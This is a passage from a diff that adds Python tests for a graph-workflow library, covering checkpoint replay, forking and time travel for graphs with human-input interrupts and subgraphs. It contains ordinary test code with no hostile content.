[f"human:{answer}"]} + + def node_b(state: State) -> State: + called.append("node_b") + return {"value": ["b"]} + + graph = ( + StateGraph(State) + .add_node("node_a", node_a) + .add_node("ask_human", ask_human) + .add_node("node_b", node_b) + .add_edge(START, "node_a") + .add_edge("node_a", "ask_human") + .add_edge("ask_human", "node_b") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + graph.invoke({"value": []}, config) + graph.invoke(Command(resume="hello"), config) + + history = list(graph.get_state_history(config)) + interrupt_checkpoint = next( + s + for s in history + if s.next == ("ask_human",) and s.tasks and any(t.interrupts for t in s.tasks) + ) + + fork_config = graph.update_state(interrupt_checkpoint.config, {"value": ["forked"]}) + fork_result = graph.invoke(None, fork_config) + + assert "__interrupt__" in fork_result + + final = graph.invoke(Command(resume="different"), fork_config) + assert "human:different" in final["value"] + + +# --------------------------------------------------------------------------- +# Section 3: Multiple / sequential interrupts +# --------------------------------------------------------------------------- + + +def test_sequential_interrupts_fork_from_middle( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Graph with two sequential interrupt nodes. Fork from between them: + only the second re-fires, the first's result is preserved. Also verify + replaying from before the first re-fires only the first.""" + + called: list[str] = [] + + def node_a(state: State) -> State: + called.append("node_a") + return {"value": ["a"]} + + def interrupt_1(state: State) -> State: + called.append("interrupt_1") + answer = interrupt("First question?") + return {"value": [f"i1:{answer}"]} + + def interrupt_2(state: State) -> State: + called.append("interrupt_2") + answer = interrupt("Second question?") + return {"value": [f"i2:{answer}"]} + + def node_b(state: State) -> State: + called.append("node_b") + return {"value": ["b"]} + + graph = ( + StateGraph(State) + .add_node("node_a", node_a) + .add_node("interrupt_1", interrupt_1) + .add_node("interrupt_2", interrupt_2) + .add_node("node_b", node_b) + .add_edge(START, "node_a") + .add_edge("node_a", "interrupt_1") + .add_edge("interrupt_1", "interrupt_2") + .add_edge("interrupt_2", "node_b") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # Hit first interrupt + r1 = graph.invoke({"value": []}, config) + assert r1["__interrupt__"][0].value == "First question?" + + # Resume first → hit second + r2 = graph.invoke(Command(resume="ans1"), config) + assert r2["__interrupt__"][0].value == "Second question?" + + # Resume second → complete + r3 = graph.invoke(Command(resume="ans2"), config) + assert r3 == {"value": ["a", "i1:ans1", "i2:ans2", "b"]} + + history = list(graph.get_state_history(config)) + + # Fork from between the two interrupts — only second re-fires + between = [s for s in history if s.next == ("interrupt_2",)][-1] + fork_config = graph.update_state(between.config, {"value": ["mid_fork"]}) + fork_result = graph.invoke(None, fork_config) + + assert "__interrupt__" in fork_result + assert fork_result["__interrupt__"][0].value == "Second question?" + + # Resume with new answer, first answer preserved + final_result = graph.invoke(Command(resume="new_b"), fork_config) + assert "i2:new_b" in final_result["value"] + assert "i1:ans1" in final_result["value"] + + # Replay from before first interrupt — first re-fires, second does not + before_i1 = [s for s in history if s.next == ("interrupt_1",)][-1] + called.clear() + replay_result = graph.invoke(None, before_i1.config) + assert "__interrupt__" in replay_result + assert replay_result["__interrupt__"][0].value == "First question?" + assert "interrupt_1" in called + assert "interrupt_2" not in called + + +def test_multiple_interrupts_in_one_node( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """A single node with two sequential interrupt() calls. Resuming resolves + them one at a time. Replaying from before the node re-fires the first.""" + + def multi_interrupt_node(state: State) -> State: + answer1 = interrupt("First question?") + answer2 = interrupt("Second question?") + return {"value": [f"a1:{answer1}", f"a2:{answer2}"]} + + def after(state: State) -> State: + return {"value": ["done"]} + + graph = ( + StateGraph(State) + .add_node("ask", multi_interrupt_node) + .add_node("after", after) + .add_edge(START, "ask") + .add_edge("ask", "after") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # Hit first interrupt + result = graph.invoke({"value": []}, config) + assert result["__interrupt__"][0].value == "First question?" + + # Resume first → hit second + interrupt_state = graph.get_state(config) + result = graph.invoke(Command(resume="ans1"), interrupt_state.config) + assert result["__interrupt__"][0].value == "Second question?" + + # Resume second → complete + interrupt_state2 = graph.get_state(config) + result = graph.invoke(Command(resume="ans2"), interrupt_state2.config) + assert result == {"value": ["a1:ans1", "a2:ans2", "done"]} + + # Replay from before the node — first interrupt re-fires + history = list(graph.get_state_history(config)) + before_ask = [s for s in history if s.next == ("ask",)][-1] + replay_result = graph.invoke(None, before_ask.config) + assert replay_result["__interrupt__"][0].value == "First question?" + + +# --------------------------------------------------------------------------- +# Section 4: Subgraph without interrupt +# --------------------------------------------------------------------------- + + +def test_subgraph_replay_from_before( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Replay from parent checkpoint before subgraph node. Subgraph and + post_process re-execute, parent_node does not.""" + + called: list[str] = [] + + def parent_node(state: State) -> State: + called.append("parent_node") + return {"value": ["parent"]} + + def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["sub_a"]} + + def step_b(state: State) -> State: + called.append("step_b") + return {"value": ["sub_b"]} + + subgraph = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("step_b", step_b) + .add_edge(START, "step_a") + .add_edge("step_a", "step_b") + .compile() + ) + + def post_process(state: State) -> State: + called.append("post_process") + return {"value": ["post"]} + + graph = ( + StateGraph(State) + .add_node("parent_node", parent_node) + .add_node("subgraph", subgraph) + .add_node("post_process", post_process) + .add_edge(START, "parent_node") + .add_edge("parent_node", "subgraph") + .add_edge("subgraph", "post_process") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + result = graph.invoke({"value": []}, config) + assert "sub_a" in result["value"] + assert "sub_b" in result["value"] + assert "post" in result["value"] + + history = list(graph.get_state_history(config)) + before_sub = next(s for s in history if s.next == ("subgraph",)) + + called.clear() + replay_result = graph.invoke(None, before_sub.config) + + assert "sub_a" in replay_result["value"] + assert "sub_b" in replay_result["value"] + assert "post" in replay_result["value"] + assert "parent_node" not in called + + +def test_subgraph_fork_from_before( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Fork from parent checkpoint before subgraph with modified state. + Subgraph re-executes with forked state.""" + + called: list[str] = [] + + def parent_node(state: State) -> State: + called.append("parent_node") + return {"value": ["parent"]} + + def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["sub_a"]} + + def step_b(state: State) -> State: + called.append("step_b") + return {"value": ["sub_b"]} + + subgraph = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("step_b", step_b) + .add_edge(START, "step_a") + .add_edge("step_a", "step_b") + .compile() + ) + + def post_process(state: State) -> State: + called.append("post_process") + return {"value": ["post"]} + + graph = ( + StateGraph(State) + .add_node("parent_node", parent_node) + .add_node("subgraph", subgraph) + .add_node("post_process", post_process) + .add_edge(START, "parent_node") + .add_edge("parent_node", "subgraph") + .add_edge("subgraph", "post_process") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + graph.invoke({"value": []}, config) + + history = list(graph.get_state_history(config)) + before_sub = next(s for s in history if s.next == ("subgraph",)) + + called.clear() + fork_config = graph.update_state(before_sub.config, {"value": ["forked"]}) + fork_result = graph.invoke(None, fork_config) + + assert "step_a" in called + assert "step_b" in called + assert "post_process" in called + assert "forked" in fork_result["value"] + assert "sub_a" in fork_result["value"] + assert "sub_b" in fork_result["value"] + + +# --------------------------------------------------------------------------- +# Section 5: Subgraph with interrupt +# --------------------------------------------------------------------------- + + +def test_subgraph_interrupt_replay_from_parent( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Replay from parent checkpoint before subgraph. Subgraph re-executes + and interrupt re-fires.""" + + called: list[str] = [] + + def router(state: State) -> State: + called.append("router") + return {"value": ["routed"]} + + def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["sub_a"]} + + def ask_human(state: State) -> State: + called.append("ask_human") + answer = interrupt("Provide input:") + return {"value": [f"human:{answer}"]} + + def step_b(state: State) -> State: + called.append("step_b") + return {"value": ["sub_b"]} + + subgraph = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("ask_human", ask_human) + .add_node("step_b", step_b) + .add_edge(START, "step_a") + .add_edge("step_a", "ask_human") + .add_edge("ask_human", "step_b") + .compile(checkpointer=True) + ) + + def post_process(state: State) -> State: + called.append("post_process") + return {"value": ["post"]} + + graph = ( + StateGraph(State) + .add_node("router", router) + .add_node("subgraph_node", subgraph) + .add_node("post_process", post_process) + .add_edge(START, "router") + .add_edge("router", "subgraph_node") + .add_edge("subgraph_node", "post_process") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # Run until interrupt, then resume + result = graph.invoke({"value": []}, config) + assert "__interrupt__" in result + + completed_result = graph.invoke(Command(resume="answer"), config) + assert "human:answer" in completed_result["value"] + assert "sub_b" in completed_result["value"] + assert "post" in completed_result["value"] + + # Find parent checkpoint before subgraph_node + history = list(graph.get_state_history(config)) + before_sub = [s for s in history if s.next == ("subgraph_node",)][-1] + + # Replay from before subgraph — subgraph starts fresh, interrupt re-fires + called.clear() + replay_result = graph.invoke(None, before_sub.config) + assert "__interrupt__" in replay_result + # Subgraph ran from scratch (step_a and ask_human called) + assert "step_a" in called + assert "ask_human" in called + # step_b should NOT be called (interrupt stops execution) + assert "step_b" not in called + + +def test_subgraph_interrupt_replay_from_interrupt_checkpoint( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Replay from the parent checkpoint where subgraph interrupt fired. + Interrupt re-fires.""" + + called: list[str] = [] + + def router(state: State) -> State: + called.append("router") + return {"value": ["routed"]} + + def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["sub_a"]} + + def ask_human(state: State) -> State: + called.append("ask_human") + answer = interrupt("Provide input:") + return {"value": [f"human:{answer}"]} + + def step_b(state: State) -> State: + called.append("step_b") + return {"value": ["sub_b"]} + + subgraph = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("ask_human", ask_human) + .add_node("step_b", step_b) + .add_edge(START, "step_a") + .add_edge("step_a", "ask_human") + .add_edge("ask_human", "step_b") + .compile(checkpointer=True) + ) + + def post_process(state: State) -> State: + called.append("post_process") + return {"value": ["post"]} + + graph = ( + StateGraph(State) + .add_node("router", router) + .add_node("subgraph_node", subgraph) + .add_node("post_process", post_process) + .add_edge(START, "router") + .add_edge("router", "subgraph_node") + .add_edge("subgraph_node", "post_process") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # Run until interrupt + graph.invoke({"value": []}, config) + + # Verify subgraph state is accessible + parent_state = graph.get_state(config, subgraphs=True) + assert len(parent_state.tasks) > 0 + assert parent_state.tasks[0].state is not None + + # Resume + graph.invoke(Command(resume="answer"), config) + + # Find the parent checkpoint where the interrupt fired + history = list(graph.get_state_history(config)) + interrupt_checkpoint = next( + s + for s in history + if s.next == ("subgraph_node",) + and s.tasks + and any(t.interrupts for t in s.tasks) + ) + + called.clear() + replay_result = graph.invoke(None, interrupt_checkpoint.config) + assert "__interrupt__" in replay_result + # Subgraph starts fresh during replay — all nodes re-run from scratch. + # step_a re-runs, ask_human re-fires interrupt, step_b not reached. + assert "step_a" in called + assert "ask_human" in called + assert "step_b" not in called + + +def test_subgraph_interrupt_replay_from_parent_then_resume( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Replay from the parent checkpoint where a subgraph interrupt fired, + then resume with a new answer. Verifies that a fork is created and the + full graph completes. Checks full checkpoint history at each stage.""" + + called: list[str] = [] + + def router(state: State) -> State: + called.append("router") + return {"value": ["routed"]} + + def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["sub_a"]} + + def ask_human(state: State) -> State: + called.append("ask_human") + answer = interrupt("Provide input:") + return {"value": [f"human:{answer}"]} + + def step_b(state: State) -> State: + called.append("step_b") + return {"value": ["sub_b"]} + + subgraph = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("ask_human", ask_human) + .add_node("step_b", step_b) + .add_edge(START, "step_a") + .add_edge("step_a", "ask_human") + .add_edge("ask_human", "step_b") + .compile(checkpointer=True) + ) + + def post_process(state: State) -> State: + called.append("post_process") + return {"value": ["post"]} + + graph = ( + StateGraph(State) + .add_node("router", router) + .add_node("subgraph_node", subgraph) + .add_node("post_process", post_process) + .add_edge(START, "router") + .add_edge("router", "subgraph_node") + .add_edge("subgraph_node", "post_process") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # Run until interrupt, then resume to complete + graph.invoke({"value": []}, config) + graph.invoke(Command(resume="old_answer"), config) + + # Original parent history (newest first) + original_history = list(graph.get_state_history(config)) + assert [s.next for s in original_history] == [ + (), # done + ("post_process",), + ("subgraph_node",), # subgraph ran, interrupt fired here + ("router",), + ("__start__",), + ] + + # Find the parent checkpoint where the interrupt fired + interrupt_checkpoint = next( + s for s in original_history if s.next == ("subgraph_node",) + ) + + # Replay from parent checkpoint — subgraph re-executes, interrupt re-fires + called.clear() + replay_result = graph.invoke(None, interrupt_checkpoint.config) + assert "__interrupt__" in replay_result + assert replay_result["__interrupt__"][0].value == "Provide input:" + assert "step_a" in called + assert "ask_human" in called + assert "step_b" not in called + + # Verify fork checkpoint was created + post_replay_history = list(graph.get_state_history(config)) + assert [s.next for s in post_replay_history] == [ + ("subgraph_node",), # fork (interrupt pending) + (), # original done + ("post_process",), + ("subgraph_node",), + ("router",), + ("__start__",), + ] + assert [s.metadata["source"] for s in post_replay_history] == [ + "fork", + "loop", + "loop", + "loop", + "loop", + "input", + ] + fork = post_replay_history[0] + assert ( + fork.parent_config["configurable"]["checkpoint_id"] + == interrupt_checkpoint.config["configurable"]["checkpoint_id"] + ) + + # Resume with a new answer — full graph should complete + called.clear() + final_result = graph.invoke(Command(resume="new_answer"), config) + assert "__interrupt__" not in final_result + assert "human:new_answer" in final_result["value"] + assert "sub_b" in final_result["value"] + assert "post" in final_result["value"] + assert "ask_human" in called + assert "step_b" in called + assert "post_process" in called + + # Final checkpoint history + final_history = list(graph.get_state_history(config)) + assert [s.next for s in final_history] == [ + (), # new branch done + ("post_process",), # new branch post_process + ("subgraph_node",), # fork + (), # original done + ("post_process",), + ("subgraph_node",), + ("router",), + ("__start__",), + ] + assert [s.metadata["source"] for s in final_history] == [ + "loop", + "loop", + "fork", + "loop", + "loop", + "loop", + "loop", + "input", + ] + + +def test_subgraph_interrupt_resume_with_explicit_head_checkpoint_id( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Resume with Command(resume=...) plus the current head checkpoint_id + in config. The subgraph must continue from the interrupted node, not + restart from scratch. Explicit checkpoint_id triggers is_replaying but + this is a resume, not a time-travel, so ReplayState should not apply.""" + + called: list[str] = [] + + def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["sub_a"]} + + def ask_human(state: State) -> State: + called.append("ask_human") + answer = interrupt("Provide input:") + return {"value": [f"human:{answer}"]} + + def step_b(state: State) -> State: + called.append("step_b") + return {"value": ["sub_b"]} + + subgraph = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("ask_human", ask_human) + .add_node("step_b", step_b) + .add_edge(START, "step_a") + .add_edge("step_a", "ask_human") + .add_edge("ask_human", "step_b") + .compile(checkpointer=True) + ) + + graph = ( + StateGraph(State) + .add_node("subgraph_node", subgraph) + .add_edge(START, "subgraph_node") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # Run until interrupt fires in subgraph + graph.invoke({"value": []}, config) + assert called == ["step_a", "ask_human"] + + # Resume with explicit head checkpoint_id in config + head_checkpoint_id = graph.get_state(config).config["configurable"]["checkpoint_id"] + called.clear() + resume_config = { + "configurable": { + "thread_id": "1", + "checkpoint_id": head_checkpoint_id, + "checkpoint_ns": "", + } + } + result = graph.invoke(Command(resume="answer"), resume_config) + + assert called == ["ask_human", "step_b"] + assert "__interrupt__" not in result + assert result["value"] == ["sub_a", "human:answer", "sub_b"] + + +def test_subgraph_replay_loads_accumulated_state_then_resume( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Two parent invocations, then replay from before the subgraph in the + 2nd invocation. The subgraph (checkpointer=True) should load its + accumulated state from the 1st invocation via ReplayState, re-fire + the interrupt, and then resume + complete. + + This tests the ReplayState path: the parent is replaying and the + subgraph uses list(before=parent_checkpoint_id) to find its + corresponding checkpoint from the original execution. + """ + + class SubState(TypedDict): + value: Annotated[list[str], operator.add] + + class ParentState(TypedDict): + results: Annotated[list[str], operator.add] + + started_state: list[dict] = [] + + def step_a(state: SubState) -> SubState: + started_state.append(dict(state)) + answer = interrupt("question_a") + return {"value": [f"a:{answer}"]} + + subgraph = ( + StateGraph(SubState) + .add_node("step_a", step_a) + .add_edge(START, "step_a") + .compile(checkpointer=True) + ) + + def parent_node(state: ParentState) -> ParentState: + return {"results": ["p"]} + + graph = ( + StateGraph(ParentState) + .add_node("parent_node", parent_node) + .add_node("sub_node", subgraph) + .add_edge(START, "parent_node") + .add_edge("parent_node", "sub_node") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # === 1st invocation: complete with answer "a1" === + graph.invoke({"results": []}, config) + graph.invoke(Command(resume="a1"), config) + + # step_a saw empty state (fresh subgraph) + assert started_state[0] == {"value": []} + + # === 2nd invocation: complete with answer "a2" === + started_state.clear() + graph.invoke({"results": []}, config) + graph.invoke(Command(resume="a2"), config) + + # Stateful subgraph retained state from 1st invocation + assert started_state[0] == {"value": ["a:a1"]} + + # Original history (newest first) + original_history = list(graph.get_state_history(config)) + assert [s.next for s in original_history] == [ + (), # 2nd done + ("sub_node",), # 2nd sub_node + ("parent_node",), # 2nd parent_node + ("__start__",), # 2nd input + (), # 1st done + ("sub_node",), # 1st sub_node + ("parent_node",), # 1st parent_node + ("__start__",), # 1st input + ] + + # Replay from before sub_node in 2nd invocation (newest match) + before_sub_2nd = [s for s in original_history if s.next == ("sub_node",)][0] + started_state.clear() + replay = graph.invoke(None, before_sub_2nd.config) + assert "__interrupt__" in replay + + # Subgraph should see accumulated state from END of 1st invocation + assert started_state[0] == {"value": ["a:a1"]} + + # Verify fork was created + post_replay_history = list(graph.get_state_history(config)) + assert [s.next for s in post_replay_history] == [ + ("sub_node",), # fork (interrupt pending) + (), # 2nd done + ("sub_node",), # 2nd sub_node + ("parent_node",), # 2nd parent_node + ("__start__",), # 2nd input + (), # 1st done + ("sub_node",), # 1st sub_node + ("parent_node",), # 1st parent_node + ("__start__",), # 1st input + ] + assert [s.metadata["source"] for s in post_replay_history] == [ + "fork", + "loop", + "loop", + "loop", + "input", + "loop", + "loop", + "loop", + "input", + ] + + # Resume with a new answer + started_state.clear() + final = graph.invoke(Command(resume="a3"), config) + assert "__interrupt__" not in final + assert final["results"] == ["p", "p"] + + # Final history + final_history = list(graph.get_state_history(config)) + assert [s.next for s in final_history] == [ + (), # new branch done + ("sub_node",), # fork + (), # 2nd done + ("sub_node",), # 2nd sub_node + ("parent_node",), # 2nd parent_node + ("__start__",), # 2nd input + (), # 1st done + ("sub_node",), # 1st sub_node + ("parent_node",), # 1st parent_node + ("__start__",), # 1st input + ] + assert [s.metadata["source"] for s in final_history] == [ + "loop", + "fork", + "loop", + "loop", + "loop", + "input", + "loop", + "loop", + "loop", + "input", + ] + + +def test_subgraph_interrupt_full_flow( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Fork from the subgraph's own checkpoint, resume the interrupt with a + new answer, and verify the FULL flow: subgraph completes (step_b runs) + AND execution continues back to the parent graph (post_process runs). + + This is the key test for time-traveling to a subgraph checkpoint, + re-triggering the interrupt, providing a new answer, and having the + entire graph complete normally including parent nodes after the subgraph.""" + + called: list[str] = [] + + def router(state: State) -> State: + called.append("router") + return {"value": ["routed"]} + + def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["sub_a"]} + + def ask_human(state: State) -> State: + called.append("ask_human") + answer = interrupt("Provide input:") + return {"value": [f"human:{answer}"]} + + def step_b(state: State) -> State: + called.append("step_b") + return {"value": ["sub_b"]} + + subgraph = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("ask_human", ask_human) + .add_node("step_b", step_b) + .add_edge(START, "step_a") + .add_edge("step_a", "ask_human") + .add_edge("ask_human", "step_b") + .compile(checkpointer=True) + ) + + def post_process(state: State) -> State: + called.append("post_process") + return {"value": ["post"]} + + graph = ( + StateGraph(State) + .add_node("router", router) + .add_node("subgraph_node", subgraph) + .add_node("post_process", post_process) + .add_edge(START, "router") + .add_edge("router", "subgraph_node") + .add_edge("subgraph_node", "post_process") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # Run until interrupt fires in subgraph + result = graph.invoke({"value": []}, config) + assert "__interrupt__" in result + assert "router" in called + assert "step_a" in called + assert "ask_human" in called + + # Get subgraph's own checkpoint config + parent_state = graph.get_state(config, subgraphs=True) + sub_task = parent_state.tasks[0] + assert sub_task.state is not None + sub_config = sub_task.state.config + + # Fork from subgraph checkpoint + called.clear() + fork_config = graph.update_state(sub_config, {"value": ["sub_forked"]}) + + # Invoke from fork — interrupt should re-fire + fork_result = graph.invoke(None, fork_config) + assert "__interrupt__" in fork_result + assert fork_result["__interrupt__"][0].value == "Provide input:" + + # Resume the re-triggered interrupt with a NEW answer + called.clear() + final_result = graph.invoke(Command(resume="new_answer"), fork_config) + + # Verify full completion + assert "ask_human" in called + assert "human:new_answer" in final_result["value"] + assert "step_b" in called + assert "sub_b" in final_result["value"] + assert "post_process" in called + assert "post" in final_result["value"] + + +def test_subgraph_interrupt_full_flow_no_sub_checkpointer( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Same as test_subgraph_interrupt_full_flow but with no sub-checkpointer + (checkpointer=None). Fork from the parent checkpoint before the subgraph, + re-trigger interrupt, resume, and verify full parent completion.""" + + called: list[str] = [] + + def router(state: State) -> State: + called.append("router") + return {"value": ["routed"]} + + def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["sub_a"]} + + def ask_human(state: State) -> State: + called.append("ask_human") + answer = interrupt("Provide input:") + return {"value": [f"human:{answer}"]} + + def step_b(state: State) -> State: + called.append("step_b") + return {"value": ["sub_b"]} + + subgraph = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("ask_human", ask_human) + .add_node("step_b", step_b) + .add_edge(START, "step_a") + .add_edge("step_a", "ask_human") + .add_edge("ask_human", "step_b") + .compile(checkpointer=None) + ) + + def post_process(state: State) -> State: + called.append("post_process") + return {"value": ["post"]} + + graph = ( + StateGraph(State) + .add_node("router", router) + .add_node("subgraph_node", subgraph) + .add_node("post_process", post_process) + .add_edge(START, "router") + .add_edge("router", "subgraph_node") + .add_edge("subgraph_node", "post_process") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # Run until interrupt, then resume to complete + result = graph.invoke({"value": []}, config) + assert "__interrupt__" in result + + original_result = graph.invoke(Command(resume="original"), config) + assert "human:original" in original_result["value"] + assert "post" in original_result["value"] + + # Find parent checkpoint before subgraph_node + history = list(graph.get_state_history(config)) + before_sub = [s for s in history if s.next == ("subgraph_node",)][-1] + + # Fork from parent checkpoint + called.clear() + fork_config = graph.update_state(before_sub.config, {"value": ["forked"]}) + fork_result = graph.invoke(None, fork_config) + + # Interrupt IS re-triggered + assert "__interrupt__" in fork_result + assert fork_result["__interrupt__"][0].value == "Provide input:" + + # Resume with new answer + called.clear() + final_result = graph.invoke(Command(resume="new_answer"), fork_config) + + # Verify full completion back through parent + assert "human:new_answer" in final_result["value"] + assert "step_b" in called + assert "sub_b" in final_result["value"] + assert "post_process" in called + assert "post" in final_result["value"] + + +def test_subgraph_replay_from_subgraph_checkpoint( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Replay directly from a subgraph's own checkpoint (via get_state with + subgraphs=True). The subgraph resumes from its checkpoint and the parent + graph completes normally afterwards.""" + + called: list[str] = [] + + def router(state: State) -> State: + called.append("router") + return {"value": ["routed"]} + + def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["sub_a"]} + + def ask_human(state: State) -> State: + called.append("ask_human") + answer = interrupt("Provide input:") + return {"value": [f"human:{answer}"]} + + def step_b(state: State) -> State: + called.append("step_b") + return {"value": ["sub_b"]} + + subgraph = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("ask_human", ask_human) + .add_node("step_b", step_b) + .add_edge(START, "step_a") + .add_edge("step_a", "ask_human") + .add_edge("ask_human", "step_b") + .compile(checkpointer=True) + ) + + def post_process(state: State) -> State: + called.append("post_process") + return {"value": ["post"]} + + graph = ( + StateGraph(State) + .add_node("router", router) + .add_node("subgraph_node", subgraph) + .add_node("post_process", post_process) + .add_edge(START, "router") + .add_edge("router", "subgraph_node") + .add_edge("subgraph_node", "post_process") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # Run until interrupt fires in subgraph + result = graph.invoke({"value": []}, config) + assert "__interrupt__" in result + + # Get subgraph checkpoint config (without forking) + parent_state = graph.get_state(config, subgraphs=True) + sub_task = parent_state.tasks[0] + assert sub_task.state is not None + sub_config = sub_task.state.config + + # Replay directly from subgraph checkpoint (no update_state / no fork) + called.clear() + replay_result = graph.invoke(None, sub_config) + assert "__interrupt__" in replay_result + assert replay_result["__interrupt__"][0].value == "Provide input:" + + # Resume from the replayed checkpoint + called.clear() + final_result = graph.invoke(Command(resume="replayed_answer"), sub_config) + + assert "ask_human" in called + assert "human:replayed_answer" in final_result["value"] + assert "step_b" in called + assert "sub_b" in final_result["value"] + assert "post_process" in called + assert "post" in final_result["value"] + + +def test_subgraph_time_travel_to_first_interrupt( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Time travel to a subgraph checkpoint at the FIRST interrupt. + + Architecture: + Parent: START --> executor (subgraph, checkpointer=True) --> END + Executor: START --> step_a --> ask_1 (interrupt) --> ask_2 (interrupt) --> END + + Flow: run through both interrupts, then time travel back to the subgraph + checkpoint captured at the first interrupt. ask_1 should re-fire, + step_a should NOT re-run. Then resume through both interrupts with new answers. + """ + + called: list[str] = [] + + def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["step_a_done"]} + + def ask_1(state: State) -> State: + called.append("ask_1") + answer = interrupt("Question 1?") + return {"value": [f"ask_1:{answer}"]} + + def ask_2(state: State) -> State: + called.append("ask_2") + answer = interrupt("Question 2?") + return {"value": [f"ask_2:{answer}"]} + + executor = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("ask_1", ask_1) + .add_node("ask_2", ask_2) + .add_edge(START, "step_a") + .add_edge("step_a", "ask_1") + .add_edge("ask_1", "ask_2") + .add_edge("ask_2", "__end__") + .compile(checkpointer=True) + ) + + graph = ( + StateGraph(State) + .add_node("executor", executor) + .add_edge(START, "executor") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # Run until first interrupt (ask_1) + result = graph.invoke({"value": []}, config) + assert "__interrupt__" in result + assert result["__interrupt__"][0].value == "Question 1?" + + # Capture subgraph state at the first interrupt + parent_state = graph.get_state(config, subgraphs=True) + sub_config_at_first = parent_state.tasks[0].state.config + + # Resume first interrupt + result = graph.invoke(Command(resume="answer_1"), config) + assert result["__interrupt__"][0].value == "Question 2?" + + # Resume second interrupt to complete + result = graph.invoke(Command(resume="answer_2"), config) + assert "__interrupt__" not in result + + # --- Scenario 1: Replay from subgraph checkpoint at 1st interrupt --- + called.clear() + replay_result = graph.invoke(None, sub_config_at_first) + assert "__interrupt__" in replay_result + assert replay_result["__interrupt__"][0].value == "Question 1?" + # step_a should NOT re-run — it was before this checkpoint + assert "step_a" not in called + # ask_1 re-fires because the interrupt replays + assert "ask_1" in called + + # --- Scenario 2: Fork from subgraph checkpoint at 1st interrupt --- + called.clear() + fork_config = graph.update_state(sub_config_at_first, {"value": ["forked"]}) + fork_result = graph.invoke(None, fork_config) + assert "__interrupt__" in fork_result + assert fork_result["__interrupt__"][0].value == "Question 1?" + assert "step_a" not in called + assert "ask_1" in called + + +def test_subgraph_time_travel_to_second_interrupt( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Time travel to a subgraph checkpoint at the SECOND interrupt. + + Architecture: + Parent: START --> executor (subgraph, checkpointer=True) --> END + Executor: START --> step_a --> ask_1 (interrupt) --> ask_2 (interrupt) --> END + + Flow: run through both interrupts resuming each, then time travel back to the + subgraph checkpoint at the second interrupt. Only ask_2 should re-fire. + Then resume with a new answer and verify state. + """ + + called: list[str] = [] + + def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["step_a_done"]} + + def ask_1(state: State) -> State: + called.append("ask_1") + answer = interrupt("Question 1?") + return {"value": [f"ask_1:{answer}"]} + + def ask_2(state: State) -> State: + called.append("ask_2") + answer = interrupt("Question 2?") + return {"value": [f"ask_2:{answer}"]} + + executor = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("ask_1", ask_1) + .add_node("ask_2", ask_2) + .add_edge(START, "step_a") + .add_edge("step_a", "ask_1") + .add_edge("ask_1", "ask_2") + .add_edge("ask_2", "__end__") + .compile(checkpointer=True) + ) + + graph = ( + StateGraph(State) + .add_node("executor", executor) + .add_edge(START, "executor") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # Run until first interrupt (ask_1) + result = graph.invoke({"value": []}, config) + assert result["__interrupt__"][0].value == "Question 1?" + + # Resume first interrupt + result = graph.invoke(Command(resume="answer_1"), config) + assert result["__interrupt__"][0].value == "Question 2?" + + # Capture subgraph state at the second interrupt + parent_state = graph.get_state(config, subgraphs=True) + sub_config = parent_state.tasks[0].state.config + + # Resume second interrupt to complete the graph + result = graph.invoke(Command(resume="answer_2"), config) + assert "__interrupt__" not in result + + # --- Scenario 1: Replay from subgraph checkpoint at 2nd interrupt 